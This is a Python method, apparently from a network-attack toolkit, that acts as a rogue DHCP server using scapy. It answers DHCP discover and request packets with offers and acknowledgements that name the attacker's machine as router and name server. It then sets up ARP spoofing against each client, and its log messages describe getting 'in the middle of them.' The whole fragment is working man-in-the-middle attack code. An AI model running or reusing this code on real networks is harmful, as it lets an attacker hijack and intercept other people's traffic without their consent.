def pkt_handler(self, pkt):
# is this a DHCP packet!?
if self.running and DHCP in pkt:
for opt in pkt[DHCP].options:
# if the option is a REQUEST
if type(opt) is tuple and opt[1] == 3:
fam,hw = get_if_raw_hwaddr(conf.iface)
# get the requested address
requested_addr = None
for item in pkt[DHCP].options:
if item[0] == 'requested_addr':
requested_addr = item[1]
# if the IP address is the one we've reserved for it, we're golden. Otherwise
# we need to check if the one they're requesting is free
if self.curr_ip != requested_addr:
if not requested_addr in self.spoofed_hosts:
# ip is free, set and use it
self.curr_ip = requested_addr
else:
# ip is in use; generate another
if self.curr_ip is None:
self.curr_ip = self.net_mask.split('/')[0]
else:
self.curr_ip = util.next_ip(self.curr_ip)
lease = Ether(dst='ff:ff:ff:ff:ff:ff',src=hw)/IP(src=self.gateway,dst='255.255.255.255')/UDP(sport=67,dport=68)
lease /= BOOTP(op=2,chaddr=mac2str(pkt[Ether].src),yiaddr=self.curr_ip,xid=pkt[BOOTP].xid)
lease /= DHCP(options=[('message-type','ack'),
('server_id', self.gateway),
('lease_time', 86400),
('subnet_mask', '255.255.255.0'),
('router', self.gateway),
('name_server', self.gateway),
'end'])
sendp(lease, loop=False)
if self.dump_data: util.Msg('Handed \'%s\' out to \'%s\''%(self.curr_ip, pkt[Ether].src))
util.debug('Initializing ARP spoofing...')
tmp = ARPSpoof()
tmp.to_ip = self.curr_ip
tmp.from_ip = self.gateway
if not tmp.initialize_post_spoof() is None:
self.spoofed_hosts[self.curr_ip] = tmp
util.debug('ARP spoofing successfully configured for \'%s\''%self.curr_ip)
else:
if self.dump_data: util.Error('ARP session unsuccessful for %s! You may not be able to get in the middle of them!'%self.curr_ip)
# discover; send offer
elif type(opt) is tuple and opt[1] == 1:
fam,hw = get_if_raw_hwaddr(conf.iface)
if self.curr_ip is None:
self.curr_ip = self.net_mask.split('/')[0]
else:
self.curr_ip = util.next_ip(self.curr_ip)
# build and send the DHCP Offer
offer = Ether(dst='ff:ff:ff:ff:ff:ff',src=hw)/IP(src=self.gateway,dst='255.255.255.255')/UDP(sport=67,dport=68)
offer /= BOOTP(op=2,chaddr=mac2str(pkt[Ether].src),yiaddr=self.curr_ip,xid=pkt[BOOTP].xid)
offer /= DHCP(options=[('message-type', 'offer'),
('subnet_mask','255.255.255.0'),
('lease_time', 86400),
('name_server', self.gateway),
('router',self.gateway),
'end'])
sendp(offer, loop=False)
if self.dump_data: util.Msg('Sent DHCP offer for \'%s\' to \'%s\''%(self.curr_ip, pkt[Ether].src))
